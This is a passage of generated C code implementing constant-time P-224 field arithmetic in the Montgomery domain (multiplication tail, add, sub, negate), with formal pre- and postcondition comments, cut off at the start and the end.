x538; fiat_p224_uint1 x539; uint32_t x540; fiat_p224_uint1 x541; uint32_t x542; fiat_p224_uint1 x543; uint32_t x544; fiat_p224_uint1 x545; uint32_t x546; uint32_t x547; uint32_t x548; uint32_t x549; uint32_t x550; uint32_t x551; uint32_t x552; x1 = (arg1[1]); x2 = (arg1[2]); x3 = (arg1[3]); x4 = (arg1[4]); x5 = (arg1[5]); x6 = (arg1[6]); x7 = (arg1[0]); fiat_p224_mulx_u32(&x8, &x9, x7, (arg1[6])); fiat_p224_mulx_u32(&x10, &x11, x7, (arg1[5])); fiat_p224_mulx_u32(&x12, &x13, x7, (arg1[4])); fiat_p224_mulx_u32(&x14, &x15, x7, (arg1[3])); fiat_p224_mulx_u32(&x16, &x17, x7, (arg1[2])); fiat_p224_mulx_u32(&x18, &x19, x7, (arg1[1])); fiat_p224_mulx_u32(&x20, &x21, x7, (arg1[0])); fiat_p224_addcarryx_u32(&x22, &x23, 0x0, x21, x18); fiat_p224_addcarryx_u32(&x24, &x25, x23, x19, x16); fiat_p224_addcarryx_u32(&x26, &x27, x25, x17, x14); fiat_p224_addcarryx_u32(&x28, &x29, x27, x15, x12); fiat_p224_addcarryx_u32(&x30, &x31, x29, x13, x10); fiat_p224_addcarryx_u32(&x32, &x33, x31, x11, x8); x34 = (x33 + x9); fiat_p224_mulx_u32(&x35, &x36, x20, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x37, &x38, x35, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x39, &x40, x35, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x41, &x42, x35, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x43, &x44, x35, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x45, &x46, 0x0, x44, x41); fiat_p224_addcarryx_u32(&x47, &x48, x46, x42, x39); fiat_p224_addcarryx_u32(&x49, &x50, x48, x40, x37); x51 = (x50 + x38); fiat_p224_addcarryx_u32(&x52, &x53, 0x0, x20, x35); fiat_p224_addcarryx_u32(&x54, &x55, x53, x22, 0x0); fiat_p224_addcarryx_u32(&x56, &x57, x55, x24, 0x0); fiat_p224_addcarryx_u32(&x58, &x59, x57, x26, x43); fiat_p224_addcarryx_u32(&x60, &x61, x59, x28, x45); fiat_p224_addcarryx_u32(&x62, &x63, x61, x30, x47); fiat_p224_addcarryx_u32(&x64, &x65, x63, x32, x49); fiat_p224_addcarryx_u32(&x66, &x67, x65, x34, x51); fiat_p224_mulx_u32(&x68, &x69, x1, (arg1[6])); fiat_p224_mulx_u32(&x70, &x71, x1, (arg1[5])); fiat_p224_mulx_u32(&x72, &x73, x1, (arg1[4])); fiat_p224_mulx_u32(&x74, &x75, x1, (arg1[3])); fiat_p224_mulx_u32(&x76, &x77, x1, (arg1[2])); fiat_p224_mulx_u32(&x78, &x79, x1, (arg1[1])); fiat_p224_mulx_u32(&x80, &x81, x1, (arg1[0])); fiat_p224_addcarryx_u32(&x82, &x83, 0x0, x81, x78); fiat_p224_addcarryx_u32(&x84, &x85, x83, x79, x76); fiat_p224_addcarryx_u32(&x86, &x87, x85, x77, x74); fiat_p224_addcarryx_u32(&x88, &x89, x87, x75, x72); fiat_p224_addcarryx_u32(&x90, &x91, x89, x73, x70); fiat_p224_addcarryx_u32(&x92, &x93, x91, x71, x68); x94 = (x93 + x69); fiat_p224_addcarryx_u32(&x95, &x96, 0x0, x54, x80); fiat_p224_addcarryx_u32(&x97, &x98, x96, x56, x82); fiat_p224_addcarryx_u32(&x99, &x100, x98, x58, x84); fiat_p224_addcarryx_u32(&x101, &x102, x100, x60, x86); fiat_p224_addcarryx_u32(&x103, &x104, x102, x62, x88); fiat_p224_addcarryx_u32(&x105, &x106, x104, x64, x90); fiat_p224_addcarryx_u32(&x107, &x108, x106, x66, x92); fiat_p224_addcarryx_u32(&x109, &x110, x108, x67, x94); fiat_p224_mulx_u32(&x111, &x112, x95, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x113, &x114, x111, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x115, &x116, x111, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x117, &x118, x111, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x119, &x120, x111, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x121, &x122, 0x0, x120, x117); fiat_p224_addcarryx_u32(&x123, &x124, x122, x118, x115); fiat_p224_addcarryx_u32(&x125, &x126, x124, x116, x113); x127 = (x126 + x114); fiat_p224_addcarryx_u32(&x128, &x129, 0x0, x95, x111); fiat_p224_addcarryx_u32(&x130, &x131, x129, x97, 0x0); fiat_p224_addcarryx_u32(&x132, &x133, x131, x99, 0x0); fiat_p224_addcarryx_u32(&x134, &x135, x133, x101, x119); fiat_p224_addcarryx_u32(&x136, &x137, x135, x103, x121); fiat_p224_addcarryx_u32(&x138, &x139, x137, x105, x123); fiat_p224_addcarryx_u32(&x140, &x141, x139, x107, x125); fiat_p224_addcarryx_u32(&x142, &x143, x141, x109, x127); x144 = ((uint32_t)x143 + x110); fiat_p224_mulx_u32(&x145, &x146, x2, (arg1[6])); fiat_p224_mulx_u32(&x147, &x148, x2, (arg1[5])); fiat_p224_mulx_u32(&x149, &x150, x2, (arg1[4])); fiat_p224_mulx_u32(&x151, &x152, x2, (arg1[3])); fiat_p224_mulx_u32(&x153, &x154, x2, (arg1[2])); fiat_p224_mulx_u32(&x155, &x156, x2, (arg1[1])); fiat_p224_mulx_u32(&x157, &x158, x2, (arg1[0])); fiat_p224_addcarryx_u32(&x159, &x160, 0x0, x158, x155); fiat_p224_addcarryx_u32(&x161, &x162, x160, x156, x153); fiat_p224_addcarryx_u32(&x163, &x164, x162, x154, x151); fiat_p224_addcarryx_u32(&x165, &x166, x164, x152, x149); fiat_p224_addcarryx_u32(&x167, &x168, x166, x150, x147); fiat_p224_addcarryx_u32(&x169, &x170, x168, x148, x145); x171 = (x170 + x146); fiat_p224_addcarryx_u32(&x172, &x173, 0x0, x130, x157); fiat_p224_addcarryx_u32(&x174, &x175, x173, x132, x159); fiat_p224_addcarryx_u32(&x176, &x177, x175, x134, x161); fiat_p224_addcarryx_u32(&x178, &x179, x177, x136, x163); fiat_p224_addcarryx_u32(&x180, &x181, x179, x138, x165); fiat_p224_addcarryx_u32(&x182, &x183, x181, x140, x167); fiat_p224_addcarryx_u32(&x184, &x185, x183, x142, x169); fiat_p224_addcarryx_u32(&x186, &x187, x185, x144, x171); fiat_p224_mulx_u32(&x188, &x189, x172, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x190, &x191, x188, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x192, &x193, x188, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x194, &x195, x188, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x196, &x197, x188, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x198, &x199, 0x0, x197, x194); fiat_p224_addcarryx_u32(&x200, &x201, x199, x195, x192); fiat_p224_addcarryx_u32(&x202, &x203, x201, x193, x190); x204 = (x203 + x191); fiat_p224_addcarryx_u32(&x205, &x206, 0x0, x172, x188); fiat_p224_addcarryx_u32(&x207, &x208, x206, x174, 0x0); fiat_p224_addcarryx_u32(&x209, &x210, x208, x176, 0x0); fiat_p224_addcarryx_u32(&x211, &x212, x210, x178, x196); fiat_p224_addcarryx_u32(&x213, &x214, x212, x180, x198); fiat_p224_addcarryx_u32(&x215, &x216, x214, x182, x200); fiat_p224_addcarryx_u32(&x217, &x218, x216, x184, x202); fiat_p224_addcarryx_u32(&x219, &x220, x218, x186, x204); x221 = ((uint32_t)x220 + x187); fiat_p224_mulx_u32(&x222, &x223, x3, (arg1[6])); fiat_p224_mulx_u32(&x224, &x225, x3, (arg1[5])); fiat_p224_mulx_u32(&x226, &x227, x3, (arg1[4])); fiat_p224_mulx_u32(&x228, &x229, x3, (arg1[3])); fiat_p224_mulx_u32(&x230, &x231, x3, (arg1[2])); fiat_p224_mulx_u32(&x232, &x233, x3, (arg1[1])); fiat_p224_mulx_u32(&x234, &x235, x3, (arg1[0])); fiat_p224_addcarryx_u32(&x236, &x237, 0x0, x235, x232); fiat_p224_addcarryx_u32(&x238, &x239, x237, x233, x230); fiat_p224_addcarryx_u32(&x240, &x241, x239, x231, x228); fiat_p224_addcarryx_u32(&x242, &x243, x241, x229, x226); fiat_p224_addcarryx_u32(&x244, &x245, x243, x227, x224); fiat_p224_addcarryx_u32(&x246, &x247, x245, x225, x222); x248 = (x247 + x223); fiat_p224_addcarryx_u32(&x249, &x250, 0x0, x207, x234); fiat_p224_addcarryx_u32(&x251, &x252, x250, x209, x236); fiat_p224_addcarryx_u32(&x253, &x254, x252, x211, x238); fiat_p224_addcarryx_u32(&x255, &x256, x254, x213, x240); fiat_p224_addcarryx_u32(&x257, &x258, x256, x215, x242); fiat_p224_addcarryx_u32(&x259, &x260, x258, x217, x244); fiat_p224_addcarryx_u32(&x261, &x262, x260, x219, x246); fiat_p224_addcarryx_u32(&x263, &x264, x262, x221, x248); fiat_p224_mulx_u32(&x265, &x266, x249, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x267, &x268, x265, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x269, &x270, x265, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x271, &x272, x265, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x273, &x274, x265, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x275, &x276, 0x0, x274, x271); fiat_p224_addcarryx_u32(&x277, &x278, x276, x272, x269); fiat_p224_addcarryx_u32(&x279, &x280, x278, x270, x267); x281 = (x280 + x268); fiat_p224_addcarryx_u32(&x282, &x283, 0x0, x249, x265); fiat_p224_addcarryx_u32(&x284, &x285, x283, x251, 0x0); fiat_p224_addcarryx_u32(&x286, &x287, x285, x253, 0x0); fiat_p224_addcarryx_u32(&x288, &x289, x287, x255, x273); fiat_p224_addcarryx_u32(&x290, &x291, x289, x257, x275); fiat_p224_addcarryx_u32(&x292, &x293, x291, x259, x277); fiat_p224_addcarryx_u32(&x294, &x295, x293, x261, x279); fiat_p224_addcarryx_u32(&x296, &x297, x295, x263, x281); x298 = ((uint32_t)x297 + x264); fiat_p224_mulx_u32(&x299, &x300, x4, (arg1[6])); fiat_p224_mulx_u32(&x301, &x302, x4, (arg1[5])); fiat_p224_mulx_u32(&x303, &x304, x4, (arg1[4])); fiat_p224_mulx_u32(&x305, &x306, x4, (arg1[3])); fiat_p224_mulx_u32(&x307, &x308, x4, (arg1[2])); fiat_p224_mulx_u32(&x309, &x310, x4, (arg1[1])); fiat_p224_mulx_u32(&x311, &x312, x4, (arg1[0])); fiat_p224_addcarryx_u32(&x313, &x314, 0x0, x312, x309); fiat_p224_addcarryx_u32(&x315, &x316, x314, x310, x307); fiat_p224_addcarryx_u32(&x317, &x318, x316, x308, x305); fiat_p224_addcarryx_u32(&x319, &x320, x318, x306, x303); fiat_p224_addcarryx_u32(&x321, &x322, x320, x304, x301); fiat_p224_addcarryx_u32(&x323, &x324, x322, x302, x299); x325 = (x324 + x300); fiat_p224_addcarryx_u32(&x326, &x327, 0x0, x284, x311); fiat_p224_addcarryx_u32(&x328, &x329, x327, x286, x313); fiat_p224_addcarryx_u32(&x330, &x331, x329, x288, x315); fiat_p224_addcarryx_u32(&x332, &x333, x331, x290, x317); fiat_p224_addcarryx_u32(&x334, &x335, x333, x292, x319); fiat_p224_addcarryx_u32(&x336, &x337, x335, x294, x321); fiat_p224_addcarryx_u32(&x338, &x339, x337, x296, x323); fiat_p224_addcarryx_u32(&x340, &x341, x339, x298, x325); fiat_p224_mulx_u32(&x342, &x343, x326, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x344, &x345, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x346, &x347, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x348, &x349, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x350, &x351, x342, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x352, &x353, 0x0, x351, x348); fiat_p224_addcarryx_u32(&x354, &x355, x353, x349, x346); fiat_p224_addcarryx_u32(&x356, &x357, x355, x347, x344); x358 = (x357 + x345); fiat_p224_addcarryx_u32(&x359, &x360, 0x0, x326, x342); fiat_p224_addcarryx_u32(&x361, &x362, x360, x328, 0x0); fiat_p224_addcarryx_u32(&x363, &x364, x362, x330, 0x0); fiat_p224_addcarryx_u32(&x365, &x366, x364, x332, x350); fiat_p224_addcarryx_u32(&x367, &x368, x366, x334, x352); fiat_p224_addcarryx_u32(&x369, &x370, x368, x336, x354); fiat_p224_addcarryx_u32(&x371, &x372, x370, x338, x356); fiat_p224_addcarryx_u32(&x373, &x374, x372, x340, x358); x375 = ((uint32_t)x374 + x341); fiat_p224_mulx_u32(&x376, &x377, x5, (arg1[6])); fiat_p224_mulx_u32(&x378, &x379, x5, (arg1[5])); fiat_p224_mulx_u32(&x380, &x381, x5, (arg1[4])); fiat_p224_mulx_u32(&x382, &x383, x5, (arg1[3])); fiat_p224_mulx_u32(&x384, &x385, x5, (arg1[2])); fiat_p224_mulx_u32(&x386, &x387, x5, (arg1[1])); fiat_p224_mulx_u32(&x388, &x389, x5, (arg1[0])); fiat_p224_addcarryx_u32(&x390, &x391, 0x0, x389, x386); fiat_p224_addcarryx_u32(&x392, &x393, x391, x387, x384); fiat_p224_addcarryx_u32(&x394, &x395, x393, x385, x382); fiat_p224_addcarryx_u32(&x396, &x397, x395, x383, x380); fiat_p224_addcarryx_u32(&x398, &x399, x397, x381, x378); fiat_p224_addcarryx_u32(&x400, &x401, x399, x379, x376); x402 = (x401 + x377); fiat_p224_addcarryx_u32(&x403, &x404, 0x0, x361, x388); fiat_p224_addcarryx_u32(&x405, &x406, x404, x363, x390); fiat_p224_addcarryx_u32(&x407, &x408, x406, x365, x392); fiat_p224_addcarryx_u32(&x409, &x410, x408, x367, x394); fiat_p224_addcarryx_u32(&x411, &x412, x410, x369, x396); fiat_p224_addcarryx_u32(&x413, &x414, x412, x371, x398); fiat_p224_addcarryx_u32(&x415, &x416, x414, x373, x400); fiat_p224_addcarryx_u32(&x417, &x418, x416, x375, x402); fiat_p224_mulx_u32(&x419, &x420, x403, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x421, &x422, x419, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x423, &x424, x419, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x425, &x426, x419, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x427, &x428, x419, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x429, &x430, 0x0, x428, x425); fiat_p224_addcarryx_u32(&x431, &x432, x430, x426, x423); fiat_p224_addcarryx_u32(&x433, &x434, x432, x424, x421); x435 = (x434 + x422); fiat_p224_addcarryx_u32(&x436, &x437, 0x0, x403, x419); fiat_p224_addcarryx_u32(&x438, &x439, x437, x405, 0x0); fiat_p224_addcarryx_u32(&x440, &x441, x439, x407, 0x0); fiat_p224_addcarryx_u32(&x442, &x443, x441, x409, x427); fiat_p224_addcarryx_u32(&x444, &x445, x443, x411, x429); fiat_p224_addcarryx_u32(&x446, &x447, x445, x413, x431); fiat_p224_addcarryx_u32(&x448, &x449, x447, x415, x433); fiat_p224_addcarryx_u32(&x450, &x451, x449, x417, x435); x452 = ((uint32_t)x451 + x418); fiat_p224_mulx_u32(&x453, &x454, x6, (arg1[6])); fiat_p224_mulx_u32(&x455, &x456, x6, (arg1[5])); fiat_p224_mulx_u32(&x457, &x458, x6, (arg1[4])); fiat_p224_mulx_u32(&x459, &x460, x6, (arg1[3])); fiat_p224_mulx_u32(&x461, &x462, x6, (arg1[2])); fiat_p224_mulx_u32(&x463, &x464, x6, (arg1[1])); fiat_p224_mulx_u32(&x465, &x466, x6, (arg1[0])); fiat_p224_addcarryx_u32(&x467, &x468, 0x0, x466, x463); fiat_p224_addcarryx_u32(&x469, &x470, x468, x464, x461); fiat_p224_addcarryx_u32(&x471, &x472, x470, x462, x459); fiat_p224_addcarryx_u32(&x473, &x474, x472, x460, x457); fiat_p224_addcarryx_u32(&x475, &x476, x474, x458, x455); fiat_p224_addcarryx_u32(&x477, &x478, x476, x456, x453); x479 = (x478 + x454); fiat_p224_addcarryx_u32(&x480, &x481, 0x0, x438, x465); fiat_p224_addcarryx_u32(&x482, &x483, x481, x440, x467); fiat_p224_addcarryx_u32(&x484, &x485, x483, x442, x469); fiat_p224_addcarryx_u32(&x486, &x487, x485, x444, x471); fiat_p224_addcarryx_u32(&x488, &x489, x487, x446, x473); fiat_p224_addcarryx_u32(&x490, &x491, x489, x448, x475); fiat_p224_addcarryx_u32(&x492, &x493, x491, x450, x477); fiat_p224_addcarryx_u32(&x494, &x495, x493, x452, x479); fiat_p224_mulx_u32(&x496, &x497, x480, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x498, &x499, x496, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x500, &x501, x496, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x502, &x503, x496, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x504, &x505, x496, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x506, &x507, 0x0, x505, x502); fiat_p224_addcarryx_u32(&x508, &x509, x507, x503, x500); fiat_p224_addcarryx_u32(&x510, &x511, x509, x501, x498); x512 = (x511 + x499); fiat_p224_addcarryx_u32(&x513, &x514, 0x0, x480, x496); fiat_p224_addcarryx_u32(&x515, &x516, x514, x482, 0x0); fiat_p224_addcarryx_u32(&x517, &x518, x516, x484, 0x0); fiat_p224_addcarryx_u32(&x519, &x520, x518, x486, x504); fiat_p224_addcarryx_u32(&x521, &x522, x520, x488, x506); fiat_p224_addcarryx_u32(&x523, &x524, x522, x490, x508); fiat_p224_addcarryx_u32(&x525, &x526, x524, x492, x510); fiat_p224_addcarryx_u32(&x527, &x528, x526, x494, x512); x529 = ((uint32_t)x528 + x495); fiat_p224_subborrowx_u32(&x530, &x531, 0x0, x515, 0x1); fiat_p224_subborrowx_u32(&x532, &x533, x531, x517, 0x0); fiat_p224_subborrowx_u32(&x534, &x535, x533, x519, 0x0); fiat_p224_subborrowx_u32(&x536, &x537, x535, x521, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x538, &x539, x537, x523, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x540, &x541, x539, x525, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x542, &x543, x541, x527, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x544, &x545, x543, x529, 0x0); fiat_p224_cmovznz_u32(&x546, x545, x530, x515); fiat_p224_cmovznz_u32(&x547, x545, x532, x517); fiat_p224_cmovznz_u32(&x548, x545, x534, x519); fiat_p224_cmovznz_u32(&x549, x545, x536, x521); fiat_p224_cmovznz_u32(&x550, x545, x538, x523); fiat_p224_cmovznz_u32(&x551, x545, x540, x525); fiat_p224_cmovznz_u32(&x552, x545, x542, x527); out1[0] = x546; out1[1] = x547; out1[2] = x548; out1[3] = x549; out1[4] = x550; out1[5] = x551; out1[6] = x552; } /* * The function fiat_p224_add adds two field elements in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * 0 ≤ eval arg2 < m * Postconditions: * eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) + eval (from_montgomery arg2)) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * arg2: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_add(uint32_t out1[7], const uint32_t arg1[7], const uint32_t arg2[7]) { uint32_t x1; fiat_p224_uint1 x2; uint32_t x3; fiat_p224_uint1 x4; uint32_t x5; fiat_p224_uint1 x6; uint32_t x7; fiat_p224_uint1 x8; uint32_t x9; fiat_p224_uint1 x10; uint32_t x11; fiat_p224_uint1 x12; uint32_t x13; fiat_p224_uint1 x14; uint32_t x15; fiat_p224_uint1 x16; uint32_t x17; fiat_p224_uint1 x18; uint32_t x19; fiat_p224_uint1 x20; uint32_t x21; fiat_p224_uint1 x22; uint32_t x23; fiat_p224_uint1 x24; uint32_t x25; fiat_p224_uint1 x26; uint32_t x27; fiat_p224_uint1 x28; uint32_t x29; fiat_p224_uint1 x30; uint32_t x31; uint32_t x32; uint32_t x33; uint32_t x34; uint32_t x35; uint32_t x36; uint32_t x37; fiat_p224_addcarryx_u32(&x1, &x2, 0x0, (arg1[0]), (arg2[0])); fiat_p224_addcarryx_u32(&x3, &x4, x2, (arg1[1]), (arg2[1])); fiat_p224_addcarryx_u32(&x5, &x6, x4, (arg1[2]), (arg2[2])); fiat_p224_addcarryx_u32(&x7, &x8, x6, (arg1[3]), (arg2[3])); fiat_p224_addcarryx_u32(&x9, &x10, x8, (arg1[4]), (arg2[4])); fiat_p224_addcarryx_u32(&x11, &x12, x10, (arg1[5]), (arg2[5])); fiat_p224_addcarryx_u32(&x13, &x14, x12, (arg1[6]), (arg2[6])); fiat_p224_subborrowx_u32(&x15, &x16, 0x0, x1, 0x1); fiat_p224_subborrowx_u32(&x17, &x18, x16, x3, 0x0); fiat_p224_subborrowx_u32(&x19, &x20, x18, x5, 0x0); fiat_p224_subborrowx_u32(&x21, &x22, x20, x7, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x23, &x24, x22, x9, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x25, &x26, x24, x11, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x27, &x28, x26, x13, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x29, &x30, x28, x14, 0x0); fiat_p224_cmovznz_u32(&x31, x30, x15, x1); fiat_p224_cmovznz_u32(&x32, x30, x17, x3); fiat_p224_cmovznz_u32(&x33, x30, x19, x5); fiat_p224_cmovznz_u32(&x34, x30, x21, x7); fiat_p224_cmovznz_u32(&x35, x30, x23, x9); fiat_p224_cmovznz_u32(&x36, x30, x25, x11); fiat_p224_cmovznz_u32(&x37, x30, x27, x13); out1[0] = x31; out1[1] = x32; out1[2] = x33; out1[3] = x34; out1[4] = x35; out1[5] = x36; out1[6] = x37; } /* * The function fiat_p224_sub subtracts two field elements in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * 0 ≤ eval arg2 < m * Postconditions: * eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) - eval (from_montgomery arg2)) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * arg2: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_sub(uint32_t out1[7], const uint32_t arg1[7], const uint32_t arg2[7]) { uint32_t x1; fiat_p224_uint1 x2; uint32_t x3; fiat_p224_uint1 x4; uint32_t x5; fiat_p224_uint1 x6; uint32_t x7; fiat_p224_uint1 x8; uint32_t x9; fiat_p224_uint1 x10; uint32_t x11; fiat_p224_uint1 x12; uint32_t x13; fiat_p224_uint1 x14; uint32_t x15; uint32_t x16; fiat_p224_uint1 x17; uint32_t x18; fiat_p224_uint1 x19; uint32_t x20; fiat_p224_uint1 x21; uint32_t x22; fiat_p224_uint1 x23; uint32_t x24; fiat_p224_uint1 x25; uint32_t x26; fiat_p224_uint1 x27; uint32_t x28; fiat_p224_uint1 x29; fiat_p224_subborrowx_u32(&x1, &x2, 0x0, (arg1[0]), (arg2[0])); fiat_p224_subborrowx_u32(&x3, &x4, x2, (arg1[1]), (arg2[1])); fiat_p224_subborrowx_u32(&x5, &x6, x4, (arg1[2]), (arg2[2])); fiat_p224_subborrowx_u32(&x7, &x8, x6, (arg1[3]), (arg2[3])); fiat_p224_subborrowx_u32(&x9, &x10, x8, (arg1[4]), (arg2[4])); fiat_p224_subborrowx_u32(&x11, &x12, x10, (arg1[5]), (arg2[5])); fiat_p224_subborrowx_u32(&x13, &x14, x12, (arg1[6]), (arg2[6])); fiat_p224_cmovznz_u32(&x15, x14, 0x0, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x16, &x17, 0x0, x1, (fiat_p224_uint1)(x15 & 0x1)); fiat_p224_addcarryx_u32(&x18, &x19, x17, x3, 0x0); fiat_p224_addcarryx_u32(&x20, &x21, x19, x5, 0x0); fiat_p224_addcarryx_u32(&x22, &x23, x21, x7, x15); fiat_p224_addcarryx_u32(&x24, &x25, x23, x9, x15); fiat_p224_addcarryx_u32(&x26, &x27, x25, x11, x15); fiat_p224_addcarryx_u32(&x28, &x29, x27, x13, x15); out1[0] = x16; out1[1] = x18; out1[2] = x20; out1[3] = x22; out1[4] = x24; out1[5] = x26; out1[6] = x28; } /* * The function fiat_p224_opp negates a field element in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * eval (from_montgomery out1) mod m = -eval (from_montgomery arg1) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_opp(uint32_t out1[7], const uint32_t arg1[7]) { uint32_t x1; fiat_p224_uint1 x2; uint32_t x3; fiat_p224_uint1 x4; uint32_t x5; fiat_p224_uint1 x6; uint32_t x7; fiat_p224_uint1 x8; uint32_t x9; fiat_p224_uint1 x10; uint32_t x11; fiat_p224_uint1 x12; uint32_t x13; fiat_p224_uint1 x14; uint32_t x15; uint32_t x16; fiat_p224_uint1 x17; uint32_t x18; fiat_p224_uint1 x19; uint32_t x20; fiat_p224_uint1 x21; uint32_t x22; fiat_p224_uint1 x23; uint32_t x24; fiat_p224_uint1 x25; uint32_t x26; fiat_p224_uint1 x27; uint32_t x28; fiat_p224_uint1 x29; fiat_p224_subborrowx_u32(&x1, &x2, 0x0, 0x0, (arg1[0])); fiat_p224_subborrowx_u32(&x3, &x4, x2, 0x0, (arg1[1])); fiat_p224_subborrowx_u32(&x5, &x6, x4, 0x0, (arg1[2])); fiat_p224_subborrowx_u32(&x7, &x8, x6, 0x0, (arg1[3])); fiat_p224_subborrowx_u32(&x9, &x10, x8, 0x0, (arg1[4])); fiat_p224_subborrowx_u32(&x11, &x12, x10, 0x0, (arg1[5])); fiat_p224_subborrowx_u32(&x13, &x14, x12, 0x0, (arg1[6])); fiat_p224_cmovznz_u32(&x15, x14, 0x0, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x16, &x17, 0x0, x1, (fiat_p224_uint1)(x15 & 0x1)); fiat_p224_addcarryx_u32(&x18, &x19, x17, x3, 0x0); fiat_p224_addcarryx_u32(&x20, &x21, x19, x5, 0x0); fiat_p224_addcarryx_u32(&x22, &x23, x21, x7, x15); fiat_p224_addcarryx_u32(&x24, &x25, x23, x9, x15); fiat_p224_addcarryx_u32(&x26, &x27, x25, x11, x15); fiat_p224_addcarryx_u32(&x28, &x29, x27, x13, x15); out1[0] = x16; out1[1] = x18; out1[2] = x20; out1[3] = x22; out1[4] = x24; out1[5] = x26; out1[6] = x28; } /* * The function fiat_p224_from_montgomery translates a field element out of the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * eval out1 mod m = (eval arg1 * ((2^32)⁻¹ mod m)^7) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_from_montgomery(uint32_t out1[7], const uint32_t arg1[7]) { uint32_t x1; uint32_t x2; uint32_t x3; uint32_t x4; uint32_t x5; uint32_t x6; uint32_t x7; uint32_t x8; uint32_t x9; uint32_t x10; uint32_t x11; uint32_t x12; fiat_p224_uint1 x13; uint32_t x14; fiat_p224_uint1 